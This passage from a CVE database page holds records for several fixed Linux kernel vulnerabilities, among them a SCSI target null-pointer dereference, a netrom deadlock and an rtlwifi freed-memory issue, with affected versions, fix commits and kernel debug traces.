              "version": "1526d9f10c6184031e42afad0adbdde1213e8ad1",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/target/target_core_device.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.11"
            },
            {
              "lessThan": "5.11",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.229",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.170",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.115",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.59",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.229",
                  "versionStartIncluding": "5.10.180",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.170",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.115",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.59",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.6",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: target: core: Fix null-ptr-deref in target_alloc_device()\n\nThere is a null-ptr-deref issue reported by KASAN:\n\nBUG: KASAN: null-ptr-deref in target_alloc_device+0xbc4/0xbe0 [target_core_mod]\n...\n kasan_report+0xb9/0xf0\n target_alloc_device+0xbc4/0xbe0 [target_core_mod]\n core_dev_setup_virtual_lun0+0xef/0x1f0 [target_core_mod]\n target_core_init_configfs+0x205/0x420 [target_core_mod]\n do_one_initcall+0xdd/0x4e0\n...\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nIn target_alloc_device(), if allocing memory for dev queues fails, then\ndev will be freed by dev-\u003etransport-\u003efree_device(), but dev-\u003etransport\nis not initialized at that time, which will lead to a null pointer\nreference problem.\n\nFixing this bug by freeing dev with hba-\u003ebackend-\u003eops-\u003efree_device()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:46:28.108Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/8c1e6717f60d31f8af3937c23c4f1498529584e1"
        },
        {
          "url": "https://git.kernel.org/stable/c/39e02fa90323243187c91bb3e8f2f5f6a9aacfc7"
        },
        {
          "url": "https://git.kernel.org/stable/c/895ab729425ef9bf3b6d2f8d0853abe64896f314"
        },
        {
          "url": "https://git.kernel.org/stable/c/b80e9bc85bd9af378e7eac83e15dd129557bbdb6"
        },
        {
          "url": "https://git.kernel.org/stable/c/14a6a2adb440e4ae97bee73b2360946bd033dadd"
        },
        {
          "url": "https://git.kernel.org/stable/c/fca6caeb4a61d240f031914413fcc69534f6dc03"
        }
      ],
      "title": "scsi: target: core: Fix null-ptr-deref in target_alloc_device()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50153",
    "datePublished": "2024-11-07T09:31:29.791Z",
    "dateReserved": "2024-10-21T19:36:19.960Z",
    "dateUpdated": "2026-05-12T12:00:25.020Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38589 (GCVE-0-2024-38589)

Vulnerability from cvelistv5 – Published: 2024-06-19 13:45 – Updated: 2026-05-12 11:54

Title

netrom: fix possible dead-lock in nr_rt_ioctl()

Summary

In the Linux kernel, the following vulnerability has been resolved: netrom: fix possible dead-lock in nr_rt_ioctl() syzbot loves netrom, and found a possible deadlock in nr_rt_ioctl [1] Make sure we always acquire nr_node_list_lock before nr_node_lock(nr_node) [1] WARNING: possible circular locking dependency detected 6.9.0-rc7-syzkaller-02147-g654de42f3fc6 #0 Not tainted ------------------------------------------------------ syz-executor350/5129 is trying to acquire lock: ffff8880186e2070 (&nr_node->node_lock){+...}-{2:2}, at: spin_lock_bh include/linux/spinlock.h:356 [inline] ffff8880186e2070 (&nr_node->node_lock){+...}-{2:2}, at: nr_node_lock include/net/netrom.h:152 [inline] ffff8880186e2070 (&nr_node->node_lock){+...}-{2:2}, at: nr_dec_obs net/netrom/nr_route.c:464 [inline] ffff8880186e2070 (&nr_node->node_lock){+...}-{2:2}, at: nr_rt_ioctl+0x1bb/0x1090 net/netrom/nr_route.c:697 but task is already holding lock: ffffffff8f7053b8 (nr_node_list_lock){+...}-{2:2}, at: spin_lock_bh include/linux/spinlock.h:356 [inline] ffffffff8f7053b8 (nr_node_list_lock){+...}-{2:2}, at: nr_dec_obs net/netrom/nr_route.c:462 [inline] ffffffff8f7053b8 (nr_node_list_lock){+...}-{2:2}, at: nr_rt_ioctl+0x10a/0x1090 net/netrom/nr_route.c:697 which lock already depends on the new lock. the existing dependency chain (in reverse order) is: -> #1 (nr_node_list_lock){+...}-{2:2}: lock_acquire+0x1ed/0x550 kernel/locking/lockdep.c:5754 __raw_spin_lock_bh include/linux/spinlock_api_smp.h:126 [inline] _raw_spin_lock_bh+0x35/0x50 kernel/locking/spinlock.c:178 spin_lock_bh include/linux/spinlock.h:356 [inline] nr_remove_node net/netrom/nr_route.c:299 [inline] nr_del_node+0x4b4/0x820 net/netrom/nr_route.c:355 nr_rt_ioctl+0xa95/0x1090 net/netrom/nr_route.c:683 sock_do_ioctl+0x158/0x460 net/socket.c:1222 sock_ioctl+0x629/0x8e0 net/socket.c:1341 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:904 [inline] __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:890 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf5/0x240 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f -> #0 (&nr_node->node_lock){+...}-{2:2}: check_prev_add kernel/locking/lockdep.c:3134 [inline] check_prevs_add kernel/locking/lockdep.c:3253 [inline] validate_chain+0x18cb/0x58e0 kernel/locking/lockdep.c:3869 __lock_acquire+0x1346/0x1fd0 kernel/locking/lockdep.c:5137 lock_acquire+0x1ed/0x550 kernel/locking/lockdep.c:5754 __raw_spin_lock_bh include/linux/spinlock_api_smp.h:126 [inline] _raw_spin_lock_bh+0x35/0x50 kernel/locking/spinlock.c:178 spin_lock_bh include/linux/spinlock.h:356 [inline] nr_node_lock include/net/netrom.h:152 [inline] nr_dec_obs net/netrom/nr_route.c:464 [inline] nr_rt_ioctl+0x1bb/0x1090 net/netrom/nr_route.c:697 sock_do_ioctl+0x158/0x460 net/socket.c:1222 sock_ioctl+0x629/0x8e0 net/socket.c:1341 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:904 [inline] __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:890 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf5/0x240 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f other info that might help us debug this: Possible unsafe locking scenario: CPU0 CPU1 ---- ---- lock(nr_node_list_lock); lock(&nr_node->node_lock); lock(nr_node_list_lock); lock(&nr_node->node_lock); *** DEADLOCK *** 1 lock held by syz-executor350/5129: #0: ffffffff8f7053b8 (nr_node_list_lock){+...}-{2:2}, at: spin_lock_bh include/linux/spinlock.h:356 [inline] #0: ffffffff8f7053b8 (nr_node_list_lock){+...}-{2:2}, at: nr_dec_obs net/netrom/nr_route.c:462 [inline] #0: ffffffff8f70 ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/b9d663fbf74290cb6…
https://git.kernel.org/stable/c/1fbfb483c1a290dce…
https://git.kernel.org/stable/c/b117e5b4f27c2c907…
https://git.kernel.org/stable/c/421c50fa81836775b…
https://git.kernel.org/stable/c/3db2fc45d1d2a6457…
https://git.kernel.org/stable/c/f28bdc2ee5d9300cc…
https://git.kernel.org/stable/c/5fb7e2a4335fc67d6…
https://git.kernel.org/stable/c/5bc50a705cfac8f64…
https://git.kernel.org/stable/c/e03e7f20ebf7e1611…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < b9d663fbf74290cb68fbc66ae4367bd56837ad1d (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 1fbfb483c1a290dce3f41f52d45cc46dd88b7691 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < b117e5b4f27c2c9076561b6be450a9619f0b79de (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 421c50fa81836775bf0fd6ce0e57a6eb27af24d5 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 3db2fc45d1d2a6457f06ebdfd45b9820e5b5c2b7 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < f28bdc2ee5d9300cc77bd3d97b5b3cdd14960fd8 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 5fb7e2a4335fc67d6952ad2a6613c46e0b05f7c5 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 5bc50a705cfac8f64ce51c95611c3dd0554ef9c3 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < e03e7f20ebf7e1611d40d1fdc1bde900fd3335f6 (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.8.12 , ≤ 6.8.* (semver) Unaffected: 6.9.3 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:39.426Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b9d663fbf74290cb68fbc66ae4367bd56837ad1d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1fbfb483c1a290dce3f41f52d45cc46dd88b7691"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b117e5b4f27c2c9076561b6be450a9619f0b79de"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/421c50fa81836775bf0fd6ce0e57a6eb27af24d5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3db2fc45d1d2a6457f06ebdfd45b9820e5b5c2b7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f28bdc2ee5d9300cc77bd3d97b5b3cdd14960fd8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5fb7e2a4335fc67d6952ad2a6613c46e0b05f7c5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5bc50a705cfac8f64ce51c95611c3dd0554ef9c3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e03e7f20ebf7e1611d40d1fdc1bde900fd3335f6"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-38589",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:13:46.964501Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:54.971Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:47.272Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netrom/nr_route.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "b9d663fbf74290cb68fbc66ae4367bd56837ad1d",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "1fbfb483c1a290dce3f41f52d45cc46dd88b7691",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "b117e5b4f27c2c9076561b6be450a9619f0b79de",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "421c50fa81836775bf0fd6ce0e57a6eb27af24d5",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "3db2fc45d1d2a6457f06ebdfd45b9820e5b5c2b7",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "f28bdc2ee5d9300cc77bd3d97b5b3cdd14960fd8",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "5fb7e2a4335fc67d6952ad2a6613c46e0b05f7c5",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "5bc50a705cfac8f64ce51c95611c3dd0554ef9c3",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "e03e7f20ebf7e1611d40d1fdc1bde900fd3335f6",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netrom/nr_route.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.12",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.3",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetrom: fix possible dead-lock in nr_rt_ioctl()\n\nsyzbot loves netrom, and found a possible deadlock in nr_rt_ioctl [1]\n\nMake sure we always acquire nr_node_list_lock before nr_node_lock(nr_node)\n\n[1]\nWARNING: possible circular locking dependency detected\n6.9.0-rc7-syzkaller-02147-g654de42f3fc6 #0 Not tainted\n------------------------------------------------------\nsyz-executor350/5129 is trying to acquire lock:\n ffff8880186e2070 (\u0026nr_node-\u003enode_lock){+...}-{2:2}, at: spin_lock_bh include/linux/spinlock.h:356 [inline]\n ffff8880186e2070 (\u0026nr_node-\u003enode_lock){+...}-{2:2}, at: nr_node_lock include/net/netrom.h:152 [inline]\n ffff8880186e2070 (\u0026nr_node-\u003enode_lock){+...}-{2:2}, at: nr_dec_obs net/netrom/nr_route.c:464 [inline]\n ffff8880186e2070 (\u0026nr_node-\u003enode_lock){+...}-{2:2}, at: nr_rt_ioctl+0x1bb/0x1090 net/netrom/nr_route.c:697\n\nbut task is already holding lock:\n ffffffff8f7053b8 (nr_node_list_lock){+...}-{2:2}, at: spin_lock_bh include/linux/spinlock.h:356 [inline]\n ffffffff8f7053b8 (nr_node_list_lock){+...}-{2:2}, at: nr_dec_obs net/netrom/nr_route.c:462 [inline]\n ffffffff8f7053b8 (nr_node_list_lock){+...}-{2:2}, at: nr_rt_ioctl+0x10a/0x1090 net/netrom/nr_route.c:697\n\nwhich lock already depends on the new lock.\n\nthe existing dependency chain (in reverse order) is:\n\n-\u003e #1 (nr_node_list_lock){+...}-{2:2}:\n        lock_acquire+0x1ed/0x550 kernel/locking/lockdep.c:5754\n        __raw_spin_lock_bh include/linux/spinlock_api_smp.h:126 [inline]\n        _raw_spin_lock_bh+0x35/0x50 kernel/locking/spinlock.c:178\n        spin_lock_bh include/linux/spinlock.h:356 [inline]\n        nr_remove_node net/netrom/nr_route.c:299 [inline]\n        nr_del_node+0x4b4/0x820 net/netrom/nr_route.c:355\n        nr_rt_ioctl+0xa95/0x1090 net/netrom/nr_route.c:683\n        sock_do_ioctl+0x158/0x460 net/socket.c:1222\n        sock_ioctl+0x629/0x8e0 net/socket.c:1341\n        vfs_ioctl fs/ioctl.c:51 [inline]\n        __do_sys_ioctl fs/ioctl.c:904 [inline]\n        __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:890\n        do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n        do_syscall_64+0xf5/0x240 arch/x86/entry/common.c:83\n       entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\n-\u003e #0 (\u0026nr_node-\u003enode_lock){+...}-{2:2}:\n        check_prev_add kernel/locking/lockdep.c:3134 [inline]\n        check_prevs_add kernel/locking/lockdep.c:3253 [inline]\n        validate_chain+0x18cb/0x58e0 kernel/locking/lockdep.c:3869\n        __lock_acquire+0x1346/0x1fd0 kernel/locking/lockdep.c:5137\n        lock_acquire+0x1ed/0x550 kernel/locking/lockdep.c:5754\n        __raw_spin_lock_bh include/linux/spinlock_api_smp.h:126 [inline]\n        _raw_spin_lock_bh+0x35/0x50 kernel/locking/spinlock.c:178\n        spin_lock_bh include/linux/spinlock.h:356 [inline]\n        nr_node_lock include/net/netrom.h:152 [inline]\n        nr_dec_obs net/netrom/nr_route.c:464 [inline]\n        nr_rt_ioctl+0x1bb/0x1090 net/netrom/nr_route.c:697\n        sock_do_ioctl+0x158/0x460 net/socket.c:1222\n        sock_ioctl+0x629/0x8e0 net/socket.c:1341\n        vfs_ioctl fs/ioctl.c:51 [inline]\n        __do_sys_ioctl fs/ioctl.c:904 [inline]\n        __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:890\n        do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n        do_syscall_64+0xf5/0x240 arch/x86/entry/common.c:83\n       entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nother info that might help us debug this:\n\n Possible unsafe locking scenario:\n\n       CPU0                    CPU1\n       ----                    ----\n  lock(nr_node_list_lock);\n                               lock(\u0026nr_node-\u003enode_lock);\n                               lock(nr_node_list_lock);\n  lock(\u0026nr_node-\u003enode_lock);\n\n *** DEADLOCK ***\n\n1 lock held by syz-executor350/5129:\n  #0: ffffffff8f7053b8 (nr_node_list_lock){+...}-{2:2}, at: spin_lock_bh include/linux/spinlock.h:356 [inline]\n  #0: ffffffff8f7053b8 (nr_node_list_lock){+...}-{2:2}, at: nr_dec_obs net/netrom/nr_route.c:462 [inline]\n  #0: ffffffff8f70\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:19:38.826Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/b9d663fbf74290cb68fbc66ae4367bd56837ad1d"
        },
        {
          "url": "https://git.kernel.org/stable/c/1fbfb483c1a290dce3f41f52d45cc46dd88b7691"
        },
        {
          "url": "https://git.kernel.org/stable/c/b117e5b4f27c2c9076561b6be450a9619f0b79de"
        },
        {
          "url": "https://git.kernel.org/stable/c/421c50fa81836775bf0fd6ce0e57a6eb27af24d5"
        },
        {
          "url": "https://git.kernel.org/stable/c/3db2fc45d1d2a6457f06ebdfd45b9820e5b5c2b7"
        },
        {
          "url": "https://git.kernel.org/stable/c/f28bdc2ee5d9300cc77bd3d97b5b3cdd14960fd8"
        },
        {
          "url": "https://git.kernel.org/stable/c/5fb7e2a4335fc67d6952ad2a6613c46e0b05f7c5"
        },
        {
          "url": "https://git.kernel.org/stable/c/5bc50a705cfac8f64ce51c95611c3dd0554ef9c3"
        },
        {
          "url": "https://git.kernel.org/stable/c/e03e7f20ebf7e1611d40d1fdc1bde900fd3335f6"
        }
      ],
      "title": "netrom: fix possible dead-lock in nr_rt_ioctl()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38589",
    "datePublished": "2024-06-19T13:45:41.258Z",
    "dateReserved": "2024-06-18T19:36:34.930Z",
    "dateUpdated": "2026-05-12T11:54:47.272Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-58072 (GCVE-0-2024-58072)

Vulnerability from cvelistv5 – Published: 2025-03-06 15:54 – Updated: 2026-05-12 12:02

Title

wifi: rtlwifi: remove unused check_buddy_priv

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: rtlwifi: remove unused check_buddy_priv Commit 2461c7d60f9f ("rtlwifi: Update header file") introduced a global list of private data structures. Later on, commit 26634c4b1868 ("rtlwifi Modify existing bits to match vendor version 2013.02.07") started adding the private data to that list at probe time and added a hook, check_buddy_priv to find the private data from a similar device. However, that function was never used. Besides, though there is a lock for that list, it is never used. And when the probe fails, the private data is never removed from the list. This would cause a second probe to access freed memory. Remove the unused hook, structures and members, which will prevent the potential race condition on the list and its corruption during a second probe when probe fails.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/f801e754efa21bd61…
https://git.kernel.org/stable/c/1b9cbd8a9ae68b320…
https://git.kernel.org/stable/c/8e2fcc68fbaab3ad9…
https://git.kernel.org/stable/c/1e39b0486cdb496cd…
https://git.kernel.org/stable/c/465d01ef6962b82b1…
https://git.kernel.org/stable/c/543e3e9f2e9e47ded…
https://git.kernel.org/stable/c/006e803af7408c3fc…
https://git.kernel.org/stable/c/2fdac64c3c35858aa…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 26634c4b1868323f49f8cd24c3493b57819867fd , < f801e754efa21bd61b3cc15ec7565696165b272f (git) Affected: 26634c4b1868323f49f8cd24c3493b57819867fd , < 1b9cbd8a9ae68b32099fbb03b2d5ffa0c5e0dcc9 (git) Affected: 26634c4b1868323f49f8cd24c3493b57819867fd , < 8e2fcc68fbaab3ad9f5671fee2be0956134b740a (git) Affected: 26634c4b1868323f49f8cd24c3493b57819867fd , < 1e39b0486cdb496cdfba3bc89886150e46acf6f4 (git) Affected: 26634c4b1868323f49f8cd24c3493b57819867fd , < 465d01ef6962b82b1f0ad1f3e58b398dbd35c1c1 (git) Affected: 26634c4b1868323f49f8cd24c3493b57819867fd , < 543e3e9f2e9e47ded774c74e680f28a0ca362aee (git) Affected: 26634c4b1868323f49f8cd24c3493b57819867fd , < 006e803af7408c3fc815b0654fc5ab43d34f0154 (git) Affected: 26634c4b1868323f49f8cd24c3493b57819867fd , < 2fdac64c3c35858aa8ac5caa70b232e03456e120 (git)
